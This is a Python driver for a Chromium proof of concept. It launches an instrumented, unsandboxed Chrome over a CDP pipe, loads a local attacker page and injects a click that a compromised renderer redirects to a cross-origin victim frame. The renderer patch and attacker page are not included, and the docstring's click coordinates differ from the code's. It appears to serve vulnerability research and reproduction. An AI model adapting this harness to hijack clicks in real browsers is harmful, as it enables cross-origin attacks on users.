#!/usr/bin/env python3
"""Driver for the RenderWidgetTargeter local_point trust POC.

Starts the HTTP server, launches an instrumented Chrome with
--remote-debugging-pipe (CDP over fds 3/4), navigates the attacker page, and
injects a single mousedown via Input.dispatchMouseEvent at (50,50) — inside
the iframe's 100x100 clip region. The compromised renderer hijacks
FrameSinkIdAt and the browser dispatches the click to the cross-origin
victim at the attacker-chosen (300,300).

Chrome stderr (with the [POC-...] log lines) and the HTTP server's
SERVER-LOG lines are streamed to this script's stderr.
"""

import json
import os
import select
import signal
import subprocess
import sys
import threading
import time

HERE = os.path.dirname(os.path.abspath(__file__))
CHROME = os.environ.get('CHROME', '/chromium/chromium/src/out/asan/chrome')


def start_server():
    p = subprocess.Popen(
        [sys.executable, os.path.join(HERE, 'server.py')],
        cwd=HERE,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
    )

    def pump():
        for line in p.stderr:
            sys.stderr.buffer.write(line)
            sys.stderr.buffer.flush()

    threading.Thread(target=pump, daemon=True).start()
    return p


class CDPPipe:
    """Minimal CDP-over-pipe client (fd 3 -> chrome, fd 4 <- chrome)."""

    def __init__(self, chrome_args):
        self._buf = b''
        self._next_id = 0
        self._pending = {}

        # Chrome reads CDP commands from fd 3 and writes replies to fd 4.
        # Put the child-side pipe ends on exactly those fds before spawning.
        # NB: this is called before any other fds are opened in the parent
        # (the HTTP server is started afterwards), so 3 and 4 are free here.
        placeholders = []
        while 3 not in placeholders or 4 not in placeholders:
            placeholders.append(os.open(os.devnull, os.O_RDONLY))
        for p in placeholders:
            if p not in (3, 4):
                os.close(p)

        c2b_r, self.c2b_w = os.pipe()   # > 4
        self.b2c_r, b2c_w = os.pipe()   # > 4
        os.dup2(c2b_r, 3)
        os.dup2(b2c_w, 4)
        os.close(c2b_r)
        os.close(b2c_w)
        os.set_inheritable(3, True)
        os.set_inheritable(4, True)

        self.proc = subprocess.Popen(
            chrome_args,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            pass_fds=(3, 4),
        )
        os.close(3)
        os.close(4)

        threading.Thread(target=self._pump_stderr, daemon=True).start()

    def _pump_stderr(self):
        for line in self.proc.stdout:
            sys.stderr.buffer.write(line)
            sys.stderr.buffer.flush()

    def _read_msg(self, timeout):
        deadline = time.time() + timeout
        while True:
            i = self._buf.find(b'\x00')
            if i >= 0:
                raw = self._buf[:i]
                self._buf = self._buf[i + 1:]
                return json.loads(raw.decode('utf-8'))
            remaining = deadline - time.time()
            if remaining <= 0:
                return None
            r, _, _ = select.select([self.b2c_r], [], [], remaining)
            if not r:
                return None
            chunk = os.read(self.b2c_r, 65536)
            if not chunk:
                return None
            self._buf += chunk

    def send(self, method, params=None, session_id=None, timeout=20):
        self._next_id += 1
        mid = self._next_id
        msg = {'id': mid, 'method': method, 'params': params or {}}
        if session_id:
            msg['sessionId'] = session_id
        os.write(self.c2b_w, json.dumps(msg).encode('utf-8') + b'\x00')
        deadline = time.time() + timeout
        while True:
            m = self._read_msg(max(0.0, deadline - time.time()))
            if m is None:
                raise RuntimeError('timeout waiting for %s' % method)
            if m.get('id') == mid:
                if 'error' in m:
                    raise RuntimeError('%s -> %s' % (method, m['error']))
                return m.get('result', {})
            # event — ignore but print interesting ones
            if m.get('method') == 'Target.targetCreated':
                pass

    def wait_event(self, name, session_id=None, timeout=20):
        deadline = time.time() + timeout
        while True:
            m = self._read_msg(max(0.0, deadline - time.time()))
            if m is None:
                return None
            if m.get('method') == name and (
                session_id is None or m.get('sessionId') == session_id
            ):
                return m.get('params', {})

    def close(self):
        try:
            os.close(self.c2b_w)
        except OSError:
            pass
        try:
            self.proc.send_signal(signal.SIGTERM)
            self.proc.wait(timeout=10)
        except Exception:
            self.proc.kill()


def main():
    user_data = '/tmp/chrome-poc-profile'
    subprocess.call(['rm', '-rf', user_data])

    chrome_args = [
        CHROME,
        '--headless=new',
        '--no-sandbox',
        '--disable-gpu',
        '--no-first-run',
        '--no-default-browser-check',
        '--ignore-gpu-blocklist',
        '--user-data-dir=' + user_data,
        '--remote-debugging-pipe',
        '--enable-logging=stderr',
        '--site-per-process',
        '--host-resolver-rules=MAP *.test 127.0.0.1',
        'about:blank',
    ]
    sys.stderr.write('Launching: %s\n' % ' '.join(chrome_args))
    cdp = CDPPipe(chrome_args)

    # Start the HTTP server only after Chrome's CDP pipe is wired so its
    # stderr fd does not collide with fd 3/4.
    srv = start_server()
    time.sleep(1)

    try:
        # Find the initial page target.
        cdp.send('Target.setDiscoverTargets', {'discover': True})
        targets = cdp.send('Target.getTargets')['targetInfos']
        page_target = next(t for t in targets if t['type'] == 'page')
        sess = cdp.send('Target.attachToTarget',
                        {'targetId': page_target['targetId'], 'flatten': True})
        session_id = sess['sessionId']

        cdp.send('Page.enable', session_id=session_id)
        cdp.send('Page.navigate',
                 {'url': 'http://a.test:8080/attacker.html'},
                 session_id=session_id)

        # Give the OOPIF time to load, composite, and submit hit-test data.
        time.sleep(5)

        sys.stderr.write(
            '\n=== Injecting user click at (70,70) — inside the iframe\'s '
            '100x100 clip region, but NOT on the victim\'s button ===\n')
        for kind in ('mouseMoved', 'mousePressed', 'mouseReleased'):
            cdp.send('Input.dispatchMouseEvent', {
                'type': kind,
                'x': 70,
                'y': 70,
                'button': 'left',
                'buttons': 1 if kind != 'mouseReleased' else 0,
                'clickCount': 1,
            }, session_id=session_id)

        # Let the victim's beacon land.
        time.sleep(3)
        sys.stderr.write('=== Done ===\n')
    finally:
        cdp.close()
        srv.send_signal(signal.SIGTERM)


if __name__ == '__main__':
    main()
